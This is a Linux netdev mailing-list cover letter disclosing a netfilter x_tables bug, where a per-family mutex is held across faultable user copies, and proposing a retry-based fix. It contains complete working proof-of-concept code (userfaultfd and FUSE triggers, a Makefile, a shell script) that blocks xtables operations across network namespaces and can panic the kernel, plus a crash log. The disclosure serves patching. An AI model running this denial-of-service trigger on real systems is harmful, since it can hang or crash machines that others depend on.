Netdev List
 help / color / mirror / Atom feed
* [PATCH nf 0/1] netfilter: x_tables: avoid holding mutex over faultable user copies
@ 2026-09-01 13:47 Zihan Xi
  2026-09-01 13:47 ` [PATCH nf 1/1] " Zihan Xi
  0 siblings, 1 reply; 2+ messages in thread
From: Zihan Xi @ 2026-09-01 13:47 UTC (permalink / raw)
  To: Pablo Neira Ayuso, Florian Westphal
  Cc: Zihan Xi, Phil Sutter, David S . Miller, Eric Dumazet,
	Jakub Kicinski, Paolo Abeni, Simon Horman, netfilter-devel,
	coreteam, netdev, linux-kernel

Hi Linux kernel maintainers,

We found and validated an issue in net/ipv4/netfilter/arp_tables.c. The
same lock-scope bug is also in net/ipv4/netfilter/ip_tables.c and
net/ipv6/netfilter/ip6_tables.c. A non-root user with CAP_NET_ADMIN in a
private user and network namespace can trigger it with a FUSE-backed
output buffer. We've tested it, and it should not affect any other
functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

---- details below ----

Bug details:

GET_INFO and GET_ENTRIES hold a per-family mutex across faultable
userspace copies. Unrelated xtables operations then block, including
callers in other network namespaces. The mutex belongs to the protocol
family, not to a network namespace. The capability check is
ns_capable(sock_net(sk)->user_ns, CAP_NET_ADMIN).

The non-root reproducer is the FUSE path. The FUSE daemon is mounted in
the initial namespace. The trigger starts in a private user and network
namespace and moves only the GET_ENTRIES holder into a second network
namespace; the waiter stays in the trigger's network namespace. poc.c
uses userfaultfd and is root-only on the tested guest because
vm.unprivileged_userfaultfd=0.

We reproduced this on the ARP path. IPv4 and IPv6 have the same lock
scope and are changed in this patch, but were not separately run.

In the unpatched run, parent/waiter netns were net:[4026532203],
holder netns was net:[4026532273], holder wchan was
folio_wait_bit_common, and waiter wchan was xt_find_table_lock. In the
fixed run, the same distinct netns IDs were observed, the holder
remained in folio_wait_bit_common, and GET_INFO returned immediately
with waiter wchan=0.

The earliest available table implementation snapshot already contains this
root-cause fact. Later namespace support only made the existing lock
scope reachable by a non-root user. This patch disables page faults during
the locked copy so a fault returns -EFAULT, releases the table locks,
faults in the output range, and retries once. `fault_in_writeable()` is
called at most once and does not pin pages. If a large table or a later
reclaim makes the second inatomic copy fail, it returns -EFAULT. That is
a bounded failure; it does not take the xtables mutex into a user page
fault. GET_INFO now copies its fixed-size result after unlocking; native
and compat GET_ENTRIES use the same retry pattern.

The locked GET_ENTRIES path is still a whole-table inatomic copy. This
patch removes the faultable sleep from that window; it does not shorten
the lock hold time of a successful copy. GET_ENTRIES can still sleep
under the lock in alloc_counters()/vzalloc() and cond_resched(). Those
are kernel-side, bounded waits, not a user-controlled page fault.

ebtables GET still copies to userspace under ebt_mutex. That is the same
class of bug on a different lock, not a bypass of the
xt[AF_INET/AF_INET6/NFPROTO_ARP] mutexes this patch changes.

The `Fixes:` commit, 1da177e4c3f4 ("Linux-2.6.12-rc2"), is an initial Git
root commit with no parent. Its snapshot contains the root-cause fact,
but the parent-versus-commit first-introduction test cannot be performed.
The historical attribution therefore remains uncertain; the trailer
records this commit only as the earliest available Git anchor, not as a
proven first introduction.

Reproducer:

The following files must be saved with these exact names in one directory.
The commands below build all helpers and run the FUSE/user-namespace path.
The FUSE helper binary is named poc-userns-trig so the hung-task comm
matches the crash log. The captured panic is hung_task after that task
blocked for more than 10 seconds, and then khungtaskd panics because
hung_task_panic=1. A 10-second timeout alone only warns; it does not
panic. The tested guest enabled panic on the kernel command line with
hung_task_panic=1 hung_task_timeout_secs=10
hung_task_check_interval_secs=10 panic=-1. poc.sh, poc-userns-trig and
poc.c also write these sysctls when they are writable:

    echo 10 > /proc/sys/kernel/hung_task_timeout_secs
    echo 10 > /proc/sys/kernel/hung_task_check_interval_secs
    echo 10 > /proc/sys/kernel/hung_task_warnings
    echo 1 > /proc/sys/kernel/hung_task_panic

A non-root user namespace cannot change them. Set them as root in the
initial namespace, or pass the same tokens on the kernel command line,
if the helpers run unprivileged.

    mkdir -p /tmp/xtables-poc
    cd /tmp/xtables-poc
    apt-get update
    apt-get install -y fuse3 libfuse3-dev pkg-config
    make
    ./poc.sh

For the root-only userfaultfd path, build poc.c. unshare -Urn is shown
below; on the tested guest the helper must run as root because
unprivileged userfaultfd is disabled:

    gcc -O2 -static -o poc poc.c
    unshare -Urn ./poc

For the tested root QEMU image, run the helper directly as root if the
outer user namespace does not permit the required proc sysctls:

    ./poc

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
The guest uses qemu-system-x86_64 with KVM (-machine accel=kvm -cpu host),
the QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX) machine, 2 CPUs (-smp 2), 2 GiB
RAM (-m 2G), and a serial console (console=ttyS0). The captured serial log
used the kernel command line:

    root=/dev/sda rw console=ttyS0 net.ifnames=0 panic=-1
    hung_task_panic=1 hung_task_timeout_secs=10
    hung_task_check_interval_secs=10

The serial logs report 2 CPUs and 2096632K RAM.

------BEGIN poc.c------
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/netfilter_arp/arp_tables.h>
#include <linux/userfaultfd.h>
#include <netinet/in.h>
#include <poll.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#ifndef ARRAY_SIZE
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#endif

static const char *table_name = "filter";

static void die(const char *msg)
{
	perror(msg);
	exit(EXIT_FAILURE);
}

static void write_text_file(const char *path, const char *value)
{
	int fd;
	ssize_t len;

	fd = open(path, O_WRONLY | O_CLOEXEC);
	if (fd < 0)
		die(path);

	len = (ssize_t)strlen(value);
	if (write(fd, value, len) != len) {
		close(fd);
		die(path);
	}

	close(fd);
}

static int make_ipv4_sock(void)
{
	int fd = socket(AF_INET, SOCK_DGRAM, 0);

	if (fd < 0)
		die("socket(AF_INET, SOCK_DGRAM)");
	return fd;
}

static unsigned int fetch_table_size(void)
{
	struct arpt_getinfo info;
	socklen_t len = sizeof(info);
	int fd = make_ipv4_sock();

	memset(&info, 0, sizeof(info));
	strncpy(info.name, table_name, sizeof(info.name) - 1);

	if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &info, &len) < 0)
		die("getsockopt(ARPT_SO_GET_INFO)");
	if (len != sizeof(info)) {
		fprintf(stderr, "unexpected ARPT_SO_GET_INFO length %u\n",
			(unsigned int)len);
		exit(EXIT_FAILURE);
	}

	close(fd);
	return info.size;
}

static int setup_userfaultfd(void *addr, size_t len)
{
	struct uffdio_api api;
	struct uffdio_register reg;
	int uffd;

	uffd = syscall(SYS_userfaultfd, 0);
	if (uffd < 0)
		die("userfaultfd");

	memset(&api, 0, sizeof(api));
	api.api = UFFD_API;
	if (ioctl(uffd, UFFDIO_API, &api) < 0)
		die("UFFDIO_API");

	memset(&reg, 0, sizeof(reg));
	reg.range.start = (unsigned long)addr;
	reg.range.len = len;
	reg.mode = UFFDIO_REGISTER_MODE_MISSING;
	if (ioctl(uffd, UFFDIO_REGISTER, &reg) < 0)
		die("UFFDIO_REGISTER");

	return uffd;
}

static void hang_in_get_entries(unsigned int table_size)
{
	size_t page_size = (size_t)sysconf(_SC_PAGESIZE);
	size_t data_len = (table_size + page_size - 1) & ~(page_size - 1);
	size_t map_len = page_size + data_len;
	char *mapping;
	struct arpt_get_entries *get;
	socklen_t len;
	int fd;
	int uffd;

	mapping = mmap(NULL, map_len, PROT_READ | PROT_WRITE,
		       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (mapping == MAP_FAILED)
		die("mmap");

	get = (struct arpt_get_entries *)(mapping + page_size - sizeof(*get));
	memset(get, 0, sizeof(*get));
	strncpy(get->name, table_name, sizeof(get->name) - 1);
	get->size = table_size;

	uffd = setup_userfaultfd(mapping + page_size, data_len);
	(void)uffd;

	fd = make_ipv4_sock();
	len = sizeof(*get) + table_size;

	fprintf(stderr,
		"holder[%d]: calling ARPT_SO_GET_ENTRIES with %u-byte table and a missing output page\n",
		getpid(), table_size);
	fflush(stderr);

	if (getsockopt(fd, SOL_IP, ARPT_SO_GET_ENTRIES, get, &len) == 0) {
		fprintf(stderr,
			"holder[%d]: GET_ENTRIES unexpectedly returned\n",
			getpid());
		exit(EXIT_FAILURE);
	}

	fprintf(stderr, "holder[%d]: unexpected errno=%d (%s)\n",
		getpid(), errno, strerror(errno));
	exit(EXIT_FAILURE);
}

static void block_on_xt_mutex(void)
{
	struct arpt_getinfo info;
	socklen_t len = sizeof(info);
	int fd = make_ipv4_sock();

	memset(&info, 0, sizeof(info));
	strncpy(info.name, table_name, sizeof(info.name) - 1);

	fprintf(stderr,
		"waiter[%d]: calling ARPT_SO_GET_INFO and should block on xt[NFPROTO_ARP].mutex\n",
		getpid());
	fflush(stderr);

	if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &info, &len) == 0) {
		fprintf(stderr, "waiter[%d]: GET_INFO unexpectedly returned\n",
			getpid());
		exit(EXIT_FAILURE);
	}

	fprintf(stderr, "waiter[%d]: unexpected errno=%d (%s)\n",
		getpid(), errno, strerror(errno));
	exit(EXIT_FAILURE);
}

static pid_t spawn_child(void (*fn)(unsigned int), unsigned int arg)
{
	pid_t pid = fork();

	if (pid < 0)
		die("fork");
	if (pid == 0) {
		prctl(PR_SET_PDEATHSIG, SIGKILL);
		fn(arg);
		_exit(EXIT_FAILURE);
	}
	return pid;
}

static pid_t spawn_waiter_child(void)
{
	pid_t pid = fork();

	if (pid < 0)
		die("fork");
	if (pid == 0) {
		prctl(PR_SET_PDEATHSIG, SIGKILL);
		block_on_xt_mutex();
		_exit(EXIT_FAILURE);
	}
	return pid;
}

static void dump_proc_state(pid_t pid, const char *tag)
{
	char path[64];
	char buf[256];
	int fd;
	ssize_t n;

	snprintf(path, sizeof(path), "/proc/%d/wchan", pid);
	fd = open(path, O_RDONLY | O_CLOEXEC);
	if (fd < 0)
		return;
	n = read(fd, buf, sizeof(buf) - 1);
	close(fd);
	if (n <= 0)
		return;
	buf[n] = '\0';
	fprintf(stderr, "%s[%d]: wchan=%s\n", tag, pid, buf);
}

int main(void)
{
	unsigned int table_size;
	pid_t holder;
	pid_t waiter;
	unsigned int i;

	if (geteuid() != 0) {
		fprintf(stderr, "run as root for the userfaultfd-based trigger path\n");
		return EXIT_FAILURE;
	}

	table_size = fetch_table_size();
	fprintf(stderr, "parent[%d]: table \"%s\" size=%u bytes\n",
		getpid(), table_name, table_size);

	write_text_file("/proc/sys/kernel/hung_task_timeout_secs", "10\n");
	write_text_file("/proc/sys/kernel/hung_task_check_interval_secs", "10\n");
	write_text_file("/proc/sys/kernel/hung_task_warnings", "10\n");
	write_text_file("/proc/sys/kernel/hung_task_panic", "1\n");

	holder = spawn_child(hang_in_get_entries, table_size);
	sleep(1);
	waiter = spawn_waiter_child();

	fprintf(stderr,
		"parent[%d]: holder=%d waiter=%d; waiting for hung-task panic\n",
		getpid(), holder, waiter);
	fflush(stderr);

	for (i = 0; i < 120; i++) {
		dump_proc_state(holder, "holder");
		dump_proc_state(waiter, "waiter");
		sleep(1);
	}

	fprintf(stderr, "parent[%d]: timeout without kernel panic\n", getpid());
	kill(holder, SIGKILL);
	kill(waiter, SIGKILL);
	waitpid(holder, NULL, 0);
	waitpid(waiter, NULL, 0);
	return EXIT_FAILURE;
}
------END poc.c--------

------BEGIN poc_userns_trigger.c------
#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <linux/netfilter_arp/arp_tables.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sched.h>
#include <sys/prctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#ifndef SOL_IP
#define SOL_IP 0
#endif

static const char *table_name = "filter";

static void die(const char *msg)
{
	perror(msg);
	exit(EXIT_FAILURE);
}

static void write_text_file_best_effort(const char *path, const char *value)
{
	int fd;
	ssize_t len;

	fd = open(path, O_WRONLY | O_CLOEXEC);
	if (fd < 0)
		return;
	len = (ssize_t)strlen(value);
	(void)write(fd, value, len);
	close(fd);
}

static void configure_hung_task(void)
{
	write_text_file_best_effort("/proc/sys/kernel/hung_task_timeout_secs",
				    "10\n");
	write_text_file_best_effort("/proc/sys/kernel/hung_task_check_interval_secs",
				    "10\n");
	write_text_file_best_effort("/proc/sys/kernel/hung_task_warnings", "10\n");
	write_text_file_best_effort("/proc/sys/kernel/hung_task_panic", "1\n");
}

static int make_ipv4_sock(void)
{
	int fd = socket(AF_INET, SOCK_DGRAM, 0);

	if (fd < 0)
		die("socket(AF_INET, SOCK_DGRAM)");
	return fd;
}

static unsigned int fetch_table_size(void)
{
	struct arpt_getinfo info;
	socklen_t len = sizeof(info);
	int fd = make_ipv4_sock();

	memset(&info, 0, sizeof(info));
	strncpy(info.name, table_name, sizeof(info.name) - 1);

	if (getsockopt(fd, SOL_IP, ARPT_SO_GET_INFO, &info, &len) < 0)
		die("getsockopt(ARPT_SO_GET_INFO)");

	close(fd);
	return info.size;
}

static void hang_in_get_entries(unsigned int table_size, const char *path)
{
	size_t page_size = (size_t)sysconf(_SC_PAGESIZE);
	size_t map_len = page_size * 2;
	char *mapping;
	struct arpt_get_entries *get;
	int backing_fd;
	int sock;
	socklen_t len;

	mapping = mmap(NULL, map_len, PROT_READ | PROT_WRITE,
		       MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (mapping == MAP_FAILED)
		die("mmap anonymous");

	backing_fd = open(path, O_RDWR | O_CLOEXEC);
	if (backing_fd < 0)
		die("open fuse file");

	if (mmap(mapping + page_size, page_size, PROT_READ | PROT_WRITE,
		 MAP_PRIVATE | MAP_FIXED, backing_fd, 0) == MAP_FAILED)
		die("mmap fuse page");
	close(backing_fd);

	get = (struct arpt_get_entries *)(mapping + page_size - sizeof(*get));
	memset(get, 0, sizeof(*get));
	strncpy(get->name, table_name, sizeof(get->name) - 1);
	get->size = table_size;

	sock = make_ipv4_sock();
	len = sizeof(*get) + table_size;

	fprintf(stderr,
		"holder[%d]: namespace GET_ENTRIES using FUSE-backed output page\n",
		getpid());
	fflush(stderr);

	if (getsockopt(sock, SOL_IP, ARPT_SO_GET_ENTRIES, get, &len) == 0) {
		fprintf(stderr, "holder[%d]: GET_ENTRIES unexpectedly returned\n",
			getpid());
		exit(EXIT_FAILURE);
	}

	fprintf(stderr, "holder[%d]: unexpected errno=%d (%s)\n",
		getpid(), errno, strerror(errno));
	exit(EXIT_FAILURE);
}

static void block_on_xt_mutex(void)
{
	struct arpt_getinfo info;
	socklen_t len = sizeof(info);
	int sock = make_ipv4_sock();

	memset(&info, 0, sizeof(info));
	strncpy(info.name, table_name, sizeof(info.name) - 1);

	fprintf(stderr,
		"waiter[%d]: namespace GET_INFO expected to block on xt mutex\n",
		getpid());
	fflush(stderr);

	if (getsockopt(sock, SOL_IP, ARPT_SO_GET_INFO, &info, &len) == 0) {
		fprintf(stderr, "waiter[%d]: GET_INFO unexpectedly returned\n",
			getpid());
		exit(EXIT_FAILURE);
	}

	fprintf(stderr, "waiter[%d]: unexpected errno=%d (%s)\n",
		getpid(), errno, strerror(errno));
	exit(EXIT_FAILURE);
}

static void dump_netns(pid_t pid, const char *tag)
{
	char path[64];
	char link[128];
	ssize_t n;

	snprintf(path, sizeof(path), "/proc/%d/ns/net", pid);
	n = readlink(path, link, sizeof(link) - 1);
	if (n <= 0)
		return;
	link[n] = '\0';
	fprintf(stderr, "%s[%d]: netns=%s\n", tag, pid, link);
}

static void dump_wchan(pid_t pid, const char *tag)
{
	char path[64];
	char buf[256];
	int fd;
	ssize_t n;

	snprintf(path, sizeof(path), "/proc/%d/wchan", pid);
	fd = open(path, O_RDONLY | O_CLOEXEC);
	if (fd < 0)
		return;
	n = read(fd, buf, sizeof(buf) - 1);
	close(fd);
	if (n <= 0)
		return;
	buf[n] = '\0';
	fprintf(stderr, "%s[%d]: wchan=%s\n", tag, pid, buf);
}

int main(int argc, char **argv)
{
	unsigned int table_size;
	pid_t holder;
	pid_t waiter;
	unsigned int i;

	if (argc != 2) {
		fprintf(stderr, "usage: %s <fuse-file-path>\n", argv[0]);
		return EXIT_FAILURE;
	}

	configure_hung_task();

	if (geteuid() != 0) {
		fprintf(stderr,
			"run under unshare -Urn so the process has namespace-local CAP_NET_ADMIN\n");
		return EXIT_FAILURE;
	}

	table_size = fetch_table_size();
	dump_netns(getpid(), "parent");
	fprintf(stderr, "parent[%d]: namespace table size=%u bytes\n",
		getpid(), table_size);

	holder = fork();
	if (holder < 0)
		die("fork");
	if (holder == 0) {
		prctl(PR_SET_PDEATHSIG, SIGKILL);
		if (unshare(CLONE_NEWNET) < 0)
			die("unshare(CLONE_NEWNET)");
		table_size = fetch_table_size();
		fprintf(stderr,
			"holder[%d]: entered a separate network namespace\n",
			getpid());
		hang_in_get_entries(table_size, argv[1]);
	}

	sleep(1);

	waiter = fork();
	if (waiter < 0)
		die("fork");
	if (waiter == 0) {
		prctl(PR_SET_PDEATHSIG, SIGKILL);
		dump_netns(getpid(), "waiter");
		block_on_xt_mutex();
	}

	fprintf(stderr,
		"parent[%d]: holder=%d waiter=%d; waiting for hung-task panic\n",
		getpid(), holder, waiter);
	fflush(stderr);

	for (i = 0; i < 180; i++) {
		dump_netns(holder, "holder");
		dump_netns(waiter, "waiter");
		dump_wchan(holder, "holder");
		dump_wchan(waiter, "waiter");
		sleep(1);
	}

	kill(holder, SIGKILL);
	kill(waiter, SIGKILL);
	waitpid(holder, NULL, 0);
	waitpid(waiter, NULL, 0);
	return EXIT_FAILURE;
}
------END poc_userns_trigger.c------

------BEGIN fuse_stall.c------
#define FUSE_USE_VERSION 31

#include <errno.h>
#include <fuse3/fuse.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <unistd.h>

static const char *file_name = "stall.bin";
static const size_t file_size = 4096;

static int stall_getattr(const char *path, struct stat *st,
			 struct fuse_file_info *fi)
{
	(void)fi;
	memset(st, 0, sizeof(*st));

	if (strcmp(path, "/") == 0) {
		st->st_mode = S_IFDIR | 0755;
		st->st_nlink = 2;
		return 0;
	}

	if (strcmp(path, "/stall.bin") == 0) {
		st->st_mode = S_IFREG | 0666;
		st->st_nlink = 1;
		st->st_size = file_size;
		return 0;
	}

	return -ENOENT;
}

static int stall_readdir(const char *path, void *buf, fuse_fill_dir_t filler,
			 off_t off, struct fuse_file_info *fi,
			 enum fuse_readdir_flags flags)
{
	(void)off;
	(void)fi;
	(void)flags;

	if (strcmp(path, "/") != 0)
		return -ENOENT;

	filler(buf, ".", NULL, 0, 0);
	filler(buf, "..", NULL, 0, 0);
	filler(buf, file_name, NULL, 0, 0);
	return 0;
}

static int stall_open(const char *path, struct fuse_file_info *fi)
{
	(void)fi;

	if (strcmp(path, "/stall.bin") != 0)
		return -ENOENT;
	return 0;
}

static int stall_read(const char *path, char *buf, size_t size, off_t off,
		      struct fuse_file_info *fi)
{
	(void)buf;
	(void)size;
	(void)off;
	(void)fi;

	if (strcmp(path, "/stall.bin") != 0)
		return -ENOENT;

	fprintf(stderr,
		"fuse[%d]: read request for stall.bin received; stalling indefinitely\n",
		getpid());
	fflush(stderr);

	for (;;)
		pause();
}

static const struct fuse_operations stall_ops = {
	.getattr = stall_getattr,
	.readdir = stall_readdir,
	.open = stall_open,
	.read = stall_read,
};

int main(int argc, char **argv)
{
	if (argc != 2) {
		fprintf(stderr, "usage: %s <mountpoint>\n", argv[0]);
		return EXIT_FAILURE;
	}

	return fuse_main(argc, argv, &stall_ops, NULL);
}
------END fuse_stall.c------

------BEGIN Makefile------
CC ?= gcc
CFLAGS ?= -O2 -Wall -Wextra
PKG_CONFIG ?= pkg-config

FUSE_AVAILABLE := $(shell $(PKG_CONFIG) --exists fuse3 && echo 1 || echo 0)
FUSE_CFLAGS := $(shell $(PKG_CONFIG) --cflags fuse3 2>/dev/null)
FUSE_LIBS := $(shell $(PKG_CONFIG) --libs fuse3 2>/dev/null)

ifeq ($(FUSE_AVAILABLE),1)
ALL_TARGETS := poc poc-userns-trig fuse_stall
else
ALL_TARGETS := poc poc-userns-trig
endif

.PHONY: all clean

all: $(ALL_TARGETS)

poc: poc.c
	$(CC) $(CFLAGS) -o $@ $<

poc-userns-trig: poc_userns_trigger.c
	$(CC) $(CFLAGS) -o $@ $<

fuse_stall: fuse_stall.c
ifeq ($(FUSE_AVAILABLE),1)
	$(CC) $(CFLAGS) $(FUSE_CFLAGS) -o $@ $< $(FUSE_LIBS)
else
	@echo "fuse3 headers not found; install libfuse3-dev in the guest to build fuse_stall" >&2
	@exit 1
endif

clean:
	rm -f poc poc-userns-trig fuse_stall
------END Makefile------

------BEGIN poc.sh------
#!/bin/sh
set -eu

mnt="${1:-$HOME/fusemnt}"
fuse_bin="${FUSE_BIN:-./fuse_stall}"
trigger_bin="${TRIGGER_BIN:-./poc-userns-trig}"
log_file="${FUSE_LOG:-$HOME/fuse_stall.log}"

# Match the captured hung_task panic: 10-second timeout. These writes
# succeed as root in the initial user namespace and are skipped otherwise.
echo 10 > /proc/sys/kernel/hung_task_timeout_secs 2>/dev/null || true
echo 10 > /proc/sys/kernel/hung_task_check_interval_secs 2>/dev/null || true
echo 10 > /proc/sys/kernel/hung_task_warnings 2>/dev/null || true
echo 1 > /proc/sys/kernel/hung_task_panic 2>/dev/null || true

fusermount3 -u -q "$mnt" 2>/dev/null || true
rm -rf "$mnt"
mkdir -p "$mnt"

"$fuse_bin" "$mnt" >"$log_file" 2>&1 &
for _ in $(seq 1 50); do
	if [ -e "$mnt/stall.bin" ]; then
		exec unshare -Urn "$trigger_bin" "$mnt/stall.bin"
	fi
	sleep 0.2
done

echo "timed out waiting for $mnt/stall.bin" >&2
exit 1
------END poc.sh------

----BEGIN crash log----

[  196.097188] INFO: task poc-userns-trig:287 blocked for more than 10 seconds.
[  196.097230]       Not tainted 7.2.0-15794-g1b78070aaef6 #4
[  196.097249] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
[  196.097254] task:poc-userns-trig state:D stack:14560 pid:287   tgid:287   ppid:285    task_flags:0x400140 flags:0x00080000
[  196.097278] Call Trace:
[  196.097284]  <TASK>
[  196.097290]  __schedule (kernel/sched/core.c:5520 kernel/sched/core.c:7270)
[  196.097299]  schedule (kernel/sched/core.c:7347 kernel/sched/core.c:7362)
[  196.097304]  schedule_preempt_disabled (kernel/sched/core.c:7419)
[  196.097310]  __mutex_lock.constprop.0 (kernel/locking/mutex.c:726 kernel/locking/mutex.c:821)
[  196.097316]  xt_find_table_lock (net/netfilter/x_tables.c:1336)
[  196.097333]  xt_request_find_table_lock (net/netfilter/x_tables.c:1378)
[  196.097340]  get_info (net/ipv4/netfilter/arp_tables.c:818)
[  196.097362]  ? avc_has_perm_noaudit (include/linux/rcupdate.h:882 security/selinux/avc.c:1164)
[  196.097370]  ? cred_has_capability.isra.0 (security/selinux/hooks.c:1668)
[  196.097377]  do_arpt_get_ctl (net/ipv4/netfilter/arp_tables.c:1465 (discriminator 1))
[  196.097382]  ? ext4_block_write_begin (fs/ext4/ext4_jbd2.h:377 fs/ext4/inode.c:1183)
[  196.097449]  ? __pfx_ext4_da_get_block_prep (fs/ext4/inode.c:603)
[  196.097455]  nf_getsockopt (net/netfilter/nf_sockopt.c:116)
[  196.097481]  ip_getsockopt (net/ipv4/ip_sockglue.c:1777)
[  196.097496]  udp_getsockopt (net/ipv4/udp.c:3060)
[  196.097519]  do_sock_getsockopt (net/socket.c:2503)
[  196.097589]  __sys_getsockopt (net/socket.c:2534 (discriminator 3))
[  196.097595]  __x64_sys_getsockopt (net/socket.c:2541 net/socket.c:2538 net/socket.c:2538)
[  196.097601]  do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[  196.097607]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[  196.097622] RIP: 0033:0x41d77e
[  196.097628] RSP: 002b:00007ffe1cc5b438 EFLAGS: 00000246 ORIG_RAX: 0000000000000037
[  196.097639] RAX: ffffffffffffffda RBX: 0000000000000003 RCX: 000000000041d77e
[  196.097705] RDX: 0000000000000060 RSI: 0000000000000000 RDI: 0000000000000003
[  196.097710] RBP: 0000000000000000 R08: 00007ffe1cc5b45c R09: 0000000000000000
[  196.097715] R10: 00007ffe1cc5b460 R11: 0000000000000246 R12: 00007ffe1cc5b47f
[  196.097719] R13: 00000000000003b8 R14: 00007ffe1cc5b45c R15: 0000000000000000
[  196.097725]  </TASK>
[  196.097733] INFO: task poc-userns-trig:287 is blocked on a mutex likely owned by task poc-userns-trig:286.
[  196.097738] task:poc-userns-trig state:D stack:13616 pid:286   tgid:286   ppid:285    task_flags:0x400140 flags:0x00080000
[  196.097749] Call Trace:
[  196.097754]  <TASK>
[  196.097759]  __schedule (kernel/sched/core.c:5520 kernel/sched/core.c:7270)
[  196.097765]  schedule (kernel/sched/core.c:7347 kernel/sched/core.c:7362)
[  196.097770]  io_schedule (kernel/sched/core.c:8190)
[  196.097776]  folio_wait_bit_common (mm/filemap.c:1329)
[  196.097783]  ? __pfx_wake_page_function (mm/filemap.c:1058)
[  196.097789]  filemap_fault (mm/filemap.c:1717 mm/filemap.c:3304 mm/filemap.c:3618)
[  196.097795]  __do_fault (mm/memory.c:5565)
[  196.097810]  do_fault (mm/memory.c:6030 mm/memory.c:6136)
[  196.097825]  ? __pte_offset_map (include/linux/rcupdate.h:847 mm/pgtable-generic.c:290)
[  196.097832]  __handle_mm_fault (mm/memory.c:4700 mm/memory.c:6558 mm/memory.c:6707)
[  196.097847]  ? alloc_pages_bulk_noprof (mm/page_alloc.c:5471 mm/page_alloc.c:5295)
[  196.097863]  handle_mm_fault (mm/memory.c:6876)
[  196.097868]  ? lock_mm_and_find_vma (mm/mmap_lock.c:504)
[  196.097874]  do_user_addr_fault (arch/x86/mm/fault.c:1394)
[  196.097896]  exc_page_fault (arch/x86/mm/fault.c:1483 arch/x86/mm/fault.c:1536)
[  196.097903]  asm_exc_page_fault (arch/x86/include/asm/idtentry.h:595)
[  196.097908] RIP: 0010:_copy_to_user (arch/x86/include/asm/uaccess_64.h:126 arch/x86/include/asm/uaccess_64.h:147 include/linux/uaccess.h:202 lib/usercopy.c:24)
[  196.097928] Code: 1e fa 48 89 d1 48 89 d0 31 d2 48 01 f9 0f 92 c2 49 b8 00 f0 ff ff ff 7f 00 00 48 85 d2 75 16 49 39 c8 72 11 0f 01 cb 48 89 c1 <f3> a4 0f 1f 00 48 89 c8 0f 01 ca e9 84 26 af 00 0f 1f 40 00 90 90
All code
========
   0:	1e                   	(bad)
   1:	fa                   	cli
   2:	48 89 d1             	mov    %rdx,%rcx
   5:	48 89 d0             	mov    %rdx,%rax
   8:	31 d2                	xor    %edx,%edx
   a:	48 01 f9             	add    %rdi,%rcx
   d:	0f 92 c2             	setb   %dl
  10:	49 b8 00 f0 ff ff ff 	movabs $0x7ffffffff000,%r8
  17:	7f 00 00 
  1a:	48 85 d2             	test   %rdx,%rdx
  1d:	75 16                	jne    0x35
  1f:	49 39 c8             	cmp    %rcx,%r8
  22:	72 11                	jb     0x35
  24:	0f 01 cb             	stac
  27:	48 89 c1             	mov    %rax,%rcx
  2a:*	f3 a4                	rep movsb %ds:(%rsi),%es:(%rdi)		<-- trapping instruction
  2c:	0f 1f 00             	nopl   (%rax)
  2f:	48 89 c8             	mov    %rcx,%rax
  32:	0f 01 ca             	clac
  35:	e9 84 26 af 00       	jmp    0xaf26be
  3a:	0f 1f 40 00          	nopl   0x0(%rax)
  3e:	90                   	nop
  3f:	90                   	nop

Code starting with the faulting instruction
===========================================
   0:	f3 a4                	rep movsb %ds:(%rsi),%es:(%rdi)
   2:	0f 1f 00             	nopl   (%rax)
   5:	48 89 c8             	mov    %rcx,%rax
   8:	0f 01 ca             	clac
   b:	e9 84 26 af 00       	jmp    0xaf2694
  10:	0f 1f 40 00          	nopl   0x0(%rax)
  14:	90                   	nop
  15:	90                   	nop
[  196.097934] RSP: 0018:ffff921e802abc70 EFLAGS: 00050206
[  196.097943] RAX: 00000000000000b0 RBX: 00007fbc11bd4000 RCX: 00000000000000b0
[  196.097948] RDX: 0000000000000000 RSI: ffff8d82c6172840 RDI: 00007fbc11bd4000
[  196.097953] RBP: ffff8d82c6172840 R08: 00007ffffffff000 R09: 0000000000000000
[  196.097958] R10: 0000000000000000 R11: ffff921e801e6000 R12: ffff8d82c3793b40
[  196.097963] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
[  196.098065]  do_arpt_get_ctl (include/linux/uaccess.h:230 net/ipv4/netfilter/arp_tables.c:705 net/ipv4/netfilter/arp_tables.c:877 net/ipv4/netfilter/arp_tables.c:1474)
[  196.098072]  nf_getsockopt (net/netfilter/nf_sockopt.c:116)
[  196.098073]  ip_getsockopt (net/ipv4/ip_sockglue.c:1777)
[  196.098075]  udp_getsockopt (net/ipv4/udp.c:3060)
[  196.098077]  do_sock_getsockopt (net/socket.c:2503)
[  196.098078]  __sys_getsockopt (net/socket.c:2534 (discriminator 3))
[  196.098079]  __x64_sys_getsockopt (net/socket.c:2541 net/socket.c:2538 net/socket.c:2538)
[  196.098080]  do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[  196.098081]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[  196.098082] RIP: 0033:0x41d77e
[  196.098083] RSP: 002b:00007ffe1cc5b438 EFLAGS: 00000246 ORIG_RAX: 0000000000000037
